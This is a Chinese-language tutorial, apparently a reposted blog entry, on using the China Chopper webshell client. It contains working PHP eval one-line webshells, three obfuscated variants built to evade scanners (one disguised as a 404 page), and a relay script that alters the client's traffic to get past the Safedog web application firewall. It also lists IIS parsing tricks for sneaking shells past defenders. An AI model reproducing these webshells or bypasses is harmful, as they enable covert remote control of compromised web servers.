1. 菜刀

(1)中国菜刀的请求方式为post。
(2)中国菜刀模拟了百度爬虫的user-agent,中国菜刀默认的连接中使用base64的方式进行编码传输,以便逃脱抓捕。

<?php  eval($_POST['x']);
?>

客户端连接设置好URL,密码,连接。
一句话木马的核心就是:

PHP eval() 函数
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
eval(phpcode)
print("hello PHP!");
就从一个执行简单命令的这一点入手,抓包分析:
这个中国菜刀发送的HTTP包的数据部分:

op=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=

这是服务器返回的HTTP数据包

\357\273\277->|hello PHP!|<-

可以看出,这里用了base64编码,为了防止特殊字符传输失败的异常。
用base64解码工具解码,得出上面HTTP包的数据部分为:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;print("hello PHP!");;echo("|<-");die();
  1. 先用@ini_set("display_errors","0");临时关闭PHP的错误显示功能

  2. @set_time_limit(0);防止像dir、上传文件大马时超时

  3. @set_magic_quotes_runtime(0);关闭魔术引号,这东西在4.0以后就不怎么用了
  4. echo("->|");没啥好说的
  5. print("hello PHP!");输出字符串
  6. die();人如其名

二.菜刀高级用法

1.执行shell命令&&自定义终端路径

  • 自定义终端路径

    某些时候c:\windows\system32\cmd.exe拒绝访问,需要更换cmd路径来突破

我们先上传一个自己的cmd.exe 目录为c:\www\cmd.exe
终端执行以下命令切换脚本调用的cmd.exe路径到c:\www\cmd.exe

setp:c:\www\cmd.exe

2.数据库管理

配置代码,以mysql为例

<T>MYSQL</T>        //这里填写数据库类型
<H>localhost</H>    //这里填写数据库主机地址
<U>root</U>         //这里填写数据库用户名
<P>root</P>          //这里填写数据库密码
<L>utf8</L>         //这里填写编码方式

3.使用菜刀进行网站爬行

4.使用菜刀浏览器post数据

在菜刀主界面选择一个shell,右击浏览网站进入浏览器功能,浏览器的地址栏后面有个空白的按钮,点击下即出现post数据框:

5.使用菜刀浏览器修改cookies

在想修改cookies的页面右击,点击拓展功能,在里面修改cookies信息即可,重回页面并刷新就应用了我们修改后的cookies。


2.本地转发过狗原理

网站存在安全狗的情况下即使上传了一句话菜刀也连不上,尤其是iis7.5解析漏洞,xx.jpg/.php解析了一句话并且安全狗不拦截,但是连不上shell就很头疼。
首先要知道安全狗是如何检测并拦截的。“经过分析发现安全狗对菜刀的HTTP进行了拦截,菜刀的POST数据里面对eval数据进行了base64编码,安全狗也是利用该特征进行检测的。取消掉base64编码安全狗的确不拦截了,所以这里就认为是利用该特征进行检测。

转发脚本

<?php $target="";//webshell地址
$poststr='';
$i=0;
foreach($_POST as $k=>$v)
{if(strstr($v, "base64_decode")){$v=str_replace("base64_decode(","",$v);$v=str_replace("))",")",$v);}else{if($k==="z0")$v=base64_decode($v);}$pp=$k."=".urlencode($v);// echo $pp;if($i!=0){$poststr=$poststr."&".$pp;}else{$poststr=$pp;}$i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>

参考链接中国菜刀原理

3.一句话木马的变形

1 加密类变形

php一句话恶意脚本带404页面,带MD5加密,可浏览器POST任意php代码执行. 代码如下:

<?php echo"404NotFound!</br>"; error_reporting(0);
if(isset($_POST['com'])&&md5($_POST['com'])== '791dc312b38016ef998c1
c146104cd5a'&& isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content));
echo "We're sorry but the page your are looking for is Not Found..."?>

菜刀配置填:

<O>com=settoken&content=ZXZhbCgkX1BPU1RbJ3BhZ2UnXSk7</O>

2 变量拼接类变形

<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>

菜刀配置填:

<O>n985de9=QGV2YWwoJF9QT1NUWzBdKTs=</O>

3 加密拼接类变形

<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>

连接密码:1
在常见的绕过的套路中,一般使用以下几种方式进行绕过处理:

1、 第一种,使用各种分号 例如:/;.shell.asp;.jpg和/;1.asp/1.jpg(这里仅适用于IIS6.0)
2、第二种 把菜刀提交的内容在中转文件替换修改。
3、第三种 替换关键词,防止安全工具针对特定的关键字进行查杀。
4、 第四种 伪装爬虫,不使用特定的user-agent。

转载于:https://www.cnblogs.com/hackxf/p/9474351.html

重新学习--中国菜刀相关推荐

  1. 自学渗透第四天--中国菜刀

    自学渗透第四天–中国菜刀 一.如何使用 中国菜刀的使用可利用网站的文件上传漏洞,通过一句话木马"<?php @eval($_POST['caidao']);?>"获取网 ...

  2. 菜刀php教程,中国菜刀的功能介绍和使用方法

    中国菜刀,一个非常好用而又强大的webshell,它可不是用来切菜的做饭的道具哦,是一款专业的网站管理软件,大小只有300多KB,真是小巧实用啊!不过被不法分子利用到,就是一个黑站的利器了.我记得以前 ...

  3. 菜刀php教程,中国菜刀的功能介绍和使用方法(黑站利器与后门利用测试工具)

    中国菜刀,一个非常好用而又强大的webshell,它可不是用来切菜的做饭的道具哦,是一款专业的网站管理软件,大小只有300多KB,真是小巧实用啊!不过被不法分子利用到,就是一个黑站的利器了.我记得以前 ...

  4. WebShell --中国菜刀,管站之刀

    文章目录 一.介绍 二.下载查毒 2.1 下载 2.2 查毒 三.使用 声明: 任何一款工具都具有两面性 本文仅供学习,请勿于非授权状态下用于非法用途! 一.介绍   一款专业的网站管理软件(WebS ...

  5. 网络小黑揭秘系列之黑产江湖黑吃黑—中国菜刀的隐形把手

    360安全卫士 · 2016/02/26 14:11 Author:360天眼安全实验室 0x00 引子 人在做,天在看. 黑产乃法外之地,被丛林法则所支配.没有了第三方强制力量的保障和监督,在那个圈 ...

  6. 中国菜刀上传一句话木马,巴西烤肉提权

    如何使用中国菜刀上传一句话木马呢,今天我来教大家 首先在你的电脑上创建一个文本文件,内容写上一句话木马,可以是asp,也可以是PHP,注意更改value值.但是最后文件名后缀要改成.jpg.格式可以如 ...

  7. 技术剖析中国菜刀原理

    用了菜刀用了也有一段时间了,感觉挺神奇了,这里做一个小小的探究吧,起始也就是用鲨鱼抓包看看软件是怎么通信实现的,不敢卖弄知识,权当学习笔记了,大神路过呵呵 这货就是主界面,环境啥的就随意了,IIS,阿 ...

  8. 一句话木马与中国菜刀

    什么是一句话木马? 一句话木马就是一句简单的脚本语言,常见脚本语言的一句话木马如下 php:<?php @eval($_post['pass']);?> asp:<%eval req ...

  9. 【Web安全】关于通过木马控制目标和使用中国菜刀拿webshell的应用

    文章目录 1 一句话木马 2 Powershell 3 大马,小马,绕狗马 4 正常上传木马和中国菜刀结合 5 图片马 1 一句话木马 asp: <%eval request("MH& ...

最新文章

  1. Servlet--03--servlet的生命周期
  2. 电磁场与电磁波第四章 时变电磁场
  3. 在IIS7中应用Application Request Routing配置反向代理
  4. MySQL完全备份与恢复
  5. [cerc2012][Gym100624B]20181013
  6. 爆点客源4.1.0活动营销应用56版 修复朋友圈不显示问题
  7. 如何用java更改网页图片,java如何修改文档第一页为不同的页面
  8. JDK 1.6环境变量的设置
  9. 发那科机器人override指令_发那科FANUC机器人编写简单的程序详细教程
  10. 解决Steam绑定手机令牌的问题
  11. 高效记忆/形象记忆(12)110数字编码表 61-70
  12. matlab 声卡输出,请问高手关于matlab控制声卡输出的问题
  13. Node.js菜鸟教程入门笔记摘要
  14. 通过EasyExcel导出excel文件并转为PDF或者其他
  15. app跳转到指定app
  16. 微信公众号推广分享二维码,关联扫码关注的客户
  17. 前端项目如何使用svg矢量图
  18. 淘淘商城23_Linux上的操作_solr集群的搭建、zookeeper集群的搭建
  19. PLSQL中Oracle设置主键自增
  20. Hibernate一对多/多对一关系映射详解及相应的增删查改操作

热门文章

  1. MATLAB保存图片去白边
  2. 如何关闭iPhone 和iPad App 同步下载功能?
  3. leetcode 24.两两交换链表的节点
  4. 开放 · 共生 | FISCO BCOS开源三周年庆典邀你相聚
  5. 计算机中画快捷键,Win10画图中快捷键有哪些丨Win10画图中快捷键图解
  6. win10完美解决cmd运行java文件出现中文乱码问题
  7. 开店攻略: 婴幼儿用品连锁门店一般促销手法
  8. 环保数采仪助力加油站油气回收监控
  9. 基于springboot+vue前后端分离的婚礼服装租赁系统
  10. 金蝶的随手记...小感~~